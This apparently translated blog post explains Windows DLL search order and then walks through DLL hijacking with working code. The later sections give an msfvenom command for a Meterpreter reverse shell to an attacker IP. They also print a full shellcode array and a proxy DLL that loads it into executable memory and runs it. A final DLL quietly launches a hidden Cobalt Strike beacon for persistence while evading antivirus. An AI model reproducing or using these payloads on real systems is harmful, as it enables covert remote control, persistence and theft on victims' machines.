DLL hijacking principle learning

Posted by joe2 on Mon, 03 Jan 2022 05:10:44 +0100

0x01 what is a DLL?

Baidu Encyclopedia:
DLL(Dynamic Link Library) file is a dynamic link library file, also known as "application expansion", which is a software file type. In Windows, many applications are not a complete executable file. They are divided into some relatively independent dynamic link libraries, namely DLL files, and placed in the system. When we execute a program, the corresponding DLL file will be called. An application can use multiple DLL files, and a DLL file may also be used by different applications. Such a DLL file is called a shared DLL file.

In short:
A DLL is a library that contains code and data that can be used by multiple programs at the same time. For example, in the Windows operating system, the Comdlg32 DLL performs common functions related to dialog boxes. Therefore, each program can use the functions contained in the DLL to implement the open dialog box. This helps to promote code reuse and efficient memory use.

0x02 loading order of DLL when program is running

Before Windows XP SP2
Windows finds the directory of DLL s and the corresponding order:

1. The directory of the application corresponding to the process;
2. Current Directory;
3. System directory (obtained through GetSystemDirectory);
4.16-bit system directory; Windows directory (obtained through GetWindowsDirectory);
5. Each directory in the path environment variable;

Chestnut: for the file system, for example, the doc document will be opened by the application office, and a DLL file of the system will be loaded when the office runs. If we will replace the DLL file of the system with a malicious DLL, we will put the DLL and the doc document together, and the DLL will be found in the current directory when running, so as to give priority to the DLL under the system directory.

After Windows xp sp2
Windows finds the directory of DLL s and the corresponding order (SafeDllSearchMode will be turned on by default):

The default registry is HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode. The key value is 1

1. The directory of the application corresponding to the process (which can be understood as the program installation directory, such as C: program file sutorrent);
2. System directory (i.e.% windir%system32);
3.16 bit system directory (i.e.% windir%system);
4.Windows directory (i.e.% windir%);
5. Current directory (the directory where a running file is located, such as C: documents and settings administrator desktoptest);
6. Each directory in the path environment variable;

Windows7 up

If the system uses KnownDLLs without safedlsearchmode, all DLL files under this item will be prohibited from calling from the directory where EXE itself is located, but can only be called from the system directory, i.e. SYSTEM32 directory. Its registry location is:

Computer \ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Finally, the operating systems above Windows 2003 and win7 determine the path of the DLL to be called by the application through the mechanisms of "DLL path search directory order" and "knowndls registry key". Then, the application loads the DLL into its own memory space and executes the corresponding functions.

1. The directory of the application corresponding to the process (which can be understood as the program installation directory, such as C: program file sutorrent);
2. System directory (i.e.% windir%system32);
3.16 bit system directory (i.e.% windir%system);
4.Windows directory (i.e.% windir%);
5. Current directory (the directory where a running file is located, such as C: documents and settings administrator desktoptest);
6. Each directory in the path environment variable;

0x03 writing DLL

vs2019 - dynamic link library project

Each dll has a dllmian CPP source file. The default is as follows:

// dllmain.cpp: defines the entry point for the DLL application.
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule, // Module Handle 
                       DWORD  ul_reason_for_call, // Call reason
                       LPVOID lpReserved // Parameter retention
                     )
{
    switch (ul_reason_for_call) // Select different loading methods according to the call reason
    {
    case DLL_PROCESS_ATTACH: // The DLL was loaded by a program
    case DLL_THREAD_ATTACH: // The DLL was loaded by a thread
    case DLL_THREAD_DETACH: // The DLL was unloaded by a thread
    case DLL_PROCESS_DETACH: //The DLL was unloaded by a program
        break;
    }
    return TRUE;
}

Header file: framework h

#pragma once

#define WIN32_LEAN_AND_MEAN / / exclude rarely used content from the Windows header file
// Windows header file
#include <windows.h>

pch.h

// pch.h: This is a precompiled header file.
// The files listed below are compiled only once, which improves the generation performance of future generation.
// This will also affect IntelliSense performance, including code completion and many code browsing functions.
// However, if any of the files listed here are updated between builds, they will all be recompiled.
// Do not add files to be updated frequently here, which will invalidate the performance benefits.

#ifndef PCH_H
#define PCH_H

// Add headers to precompile here
#include "framework.h"

#endif //PCH_H

For example, chestnuts:
Introducing windows H. use the messagebox function to make a demo:

dllmain.cpp

#include "pch.h"
#include "windows.h"
int add(int x,int y) {
return(x + y);

}
void message() {
    MessageBox(0, L"hello world", 0, 0);
}

Framework.h

#pragma once

#define WIN32_LEAN_AND_MEAN / / exclude rarely used content from the Windows header file
// Windows header file
#include <windows.h>


// This declaration method is mandatory to modify in C language, and the default convention of C is used__ cdecl mode.
// The DLL compiled in this way has two export functions: add and message. Without any modification.

extern "C" __declspec(dllexport) int add(int x,int y);
extern "C" __declspec(dllexport) void message(void);

Generate - > generate a solution to get a dll

0x04 calling DLL

python calling DLL

import ctypes
dll = ctypes.CDLL("dll route")
a=dll.func()
a


Dynamic link on c + + load

#include "iostream"
using namespace std;
#pragma comment(lib,"C:\\Users\\bz\\source\\repos\\DLL_demo\\x64\\Release\\DLL_demo.lib")
extern "C" __declspec(dllimport) int add(int a, int b);
extern "C" __declspec(dllimport) void message();
int main() {
    cout << add(1, 2) << endl;
    message();

}


c + + runtime dynamic link

#include <iostream>
#include <Windows.h>
using namespace std;
//Define a function class,
typedef int(*addfun)(int a, int b);
typedef void(*messagefun)();

int main()
{   //Specifies the dll library to load
    HMODULE hdll = LoadLibrary(LPCWSTR(L"DLL_demo.dll"));
    if (hdll != NULL)
    {   //Get function location
        addfun add = (addfun)GetProcAddress(hdll, "add");
        messagefun message = (messagefun)GetProcAddress(hdll, "message");
        if (add != NULL)
        {
            cout << add(1, 2) << endl;
           // system("pause");

        }
        if (add = NULL) {
            printf("Failed to get function");
           // system("pause");

        }
        if (message!= NULL) 
        {
            message();
        }
        FreeLibrary(hdll);
    }
    else 
    {
        printf("Failed to get handle");
        system("pause");
    }
}

0x05 forwarding DLL hijacking

In short, malicious DLLs are executed without affecting the function of the program itself

For example, chestnuts:
Write the original dll name in the forwarding method, and then rename the generated dll file to the hijacked dll file name:

#include "pch.h"
#include "windows.h"
//Start forwarding and forward the function method
//derived function
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//Entry function
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        MessageBox(NULL, L"hacked by cxk", L"hi", MB_OK);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {

    }

    return TRUE;
}

Then put the dll in the same directory as exe, and the hijacking has succeeded:

0x06 hijacking online host using DLL

dll loading shellcode Online

Generate shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.20.10.6 -b '\xfc\xe8' lport=4444 -f c


Build dll:

#include "pch.h"
#include "windows.h"
//Start forwarding and forward the function method
//derived function
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//Entry function
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        unsigned char buf[] =
            "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
            "\xff\xff\x48\xbb\x66\x9a\x22\x85\x4f\xee\xee\xb7\x48\x31\x58"
            "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x9a\xd2\xa1\x61\xbf\x06"
            "\x22\xb7\x66\x9a\x63\xd4\x0e\xbe\xbc\xe6\x2e\xab\xf0\xd3\x2a"
            "\xa6\x65\xe5\x06\xd2\xa9\xd7\x57\xa6\x65\xe5\x46\xd7\x13\x4c"
            "\x07\x65\x9c\xe7\x2e\x95\x95\xcf\x05\xa6\xdf\x77\xca\xa6\x43"
            "\xf9\x4d\xc2\xce\xf6\xa7\x53\x2f\xc4\x4e\x2f\x0c\x5a\x34\xdb"
            "\x73\xcd\xc4\xbc\xce\x3c\x24\xa6\x6a\x84\x9f\x88\x6f\xcf\x7e"
            "\x91\x20\x8a\xca\x9c\xee\xb7\x66\x11\xa2\x0d\x4f\xee\xee\xff"
            "\xe3\x5a\x56\xe2\x07\xef\x3e\x3c\x2e\x82\x72\xc1\xc4\xae\xce"
            "\xfe\x67\x4a\xc1\xd3\x07\x11\x27\xf6\xed\xae\xaa\xc8\x7e\x27"
            "\xa6\xb6\xb0\xd2\x13\x45\xe3\xaf\x2f\x7e\x6b\xdb\x23\x44\x77"
            "\x0e\x9b\x46\x2a\x99\x6e\xa1\x47\xab\xd7\x66\x13\x42\x7a\xc1"
            "\xc4\xae\xca\xfe\x67\x4a\x44\xc4\xc4\xe2\xa6\xf3\xed\xda\x3e"
            "\xcc\x4e\x3e\xaf\x3c\x62\x12\x63\xdd\x07\xef\x3e\xf6\x3e\xc4"
            "\x7b\xdf\x0e\xb6\xaf\xee\x27\xc0\x6a\x06\xa3\xce\xaf\xe5\x99"
            "\x7a\x7a\xc4\x16\xb4\xa6\x3c\x74\x73\x69\x7a\xb0\x11\xb3\xfe"
            "\xd8\xed\x51\xb7\x10\xdd\xdc\xb7\x66\xdb\x74\xcc\xc6\x08\xa6"
            "\x36\x8a\x3a\x23\x85\x4f\xa7\x67\x52\x2f\x26\x20\x85\x5e\xb2"
            "\x42\xa3\x6c\x9c\x63\xd1\x06\x67\x0a\xfb\xef\x6b\x63\x3f\x03"
            "\x99\xc8\xb0\x99\x4f\x6e\x0c\xa5\x86\xef\xb6\x66\x9a\x7b\xc4"
            "\xf5\xc7\x6e\xdc\x66\x65\xf7\xef\x45\xaf\xb0\xe7\x36\xd7\x13"
            "\x4c\x02\xdf\x2e\xff\x99\x5a\x6a\x0c\x8d\xa6\x11\x77\x2e\x13"
            "\xe3\xc4\xf5\x04\xe1\x68\x86\x65\xf7\xcd\xc6\x29\x84\xa7\x27"
            "\xc2\x6e\x0c\xad\xa6\x67\x4e\x27\x20\xbb\x20\x3b\x8f\x11\x62"
            "\xe3\x5a\x56\x8f\x06\x11\x20\xc2\x83\x72\xb1\x85\x4f\xee\xa6"
            "\x34\x8a\x8a\x6a\x0c\xad\xa3\xdf\x7e\x0c\x9e\x63\xdd\x07\x67"
            "\x17\xf6\xdc\x98\xfb\x4d\x10\x11\x3b\x34\x9e\x9a\x5c\xd0\x07"
            "\x6d\x2a\x97\x38\x13\xd4\xef\x0f\xaf\xb7\xdf\x66\x8a\x22\x85"
            "\x0e\xb6\xa6\x3e\x94\xd2\x13\x4c\x0e\x54\xb6\x13\x35\x7f\xdd"
            "\x50\x07\x67\x2d\xfe\xef\x5d\x6f\xb4\x86\xa7\x67\x47\x2e\x13"
            "\xf8\xcd\xc6\x17\xaf\x0d\x64\x43\xea\xda\xb0\x3b\x6d\x4f\x66"
            "\xe7\x0a\xdd\x0e\xb9\xb7\xdf\x66\xda\x22\x85\x0e\xb6\x84\xb7"
            "\x3c\xdb\x98\x8e\x60\xe1\xde\x48\xb3\xcd\x7b\xc4\xf5\x9b\x80"
            "\xfa\x07\x65\xf7\xcc\xb0\x20\x07\x8b\x99\x65\xdd\xcd\x4e\x2d"
            "\xa6\x9e\xa0\xd2\xa7\x73\x3a\x5a\xaf\x48\x81\xc2\x48\x85\x16"
            "\xa7\x29\x75\x96\x2f\x80\xd3\xb0\x3b\xee\xb7";
        size_t size = sizeof(buf);
        char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(inject, buf, size);
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }
    return TRUE;
}

Ps: this directly generated dll is not free from killing. It needs to be free from killing in actual combat.

dll load kill free line

First, add a hidden attribute to this file:

attrib +h beacon.exe

Then use DLL to load the Trojan horse,

The code is as follows:

#include "pch.h"
#include "windows.h"
//Start forwarding and forward the function method
//derived function
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//Entry function
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(TEXT("path\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
    }

    return TRUE;
}

Then try loading directly later. When the program is executed (DLL_PROCESS_DETACH), our cs horse will be loaded automatically.

The advantage of this scheme is that the DLL has no malicious operation at all, so it will be free from killing. However, your Trojan horse files should be free from killing. This idea is mainly applied to hijacking some program DLLs and then realizing covert restart online, that is, the continuous maintenance of permissions. It is useless to kill the startup item only to maintain the permissions of the DLL.

Reference article: https://www.anquanke.com/post/id/232891#h2-12

More fun red team tools, skills, please pay attention to the official account Gamma laboratory.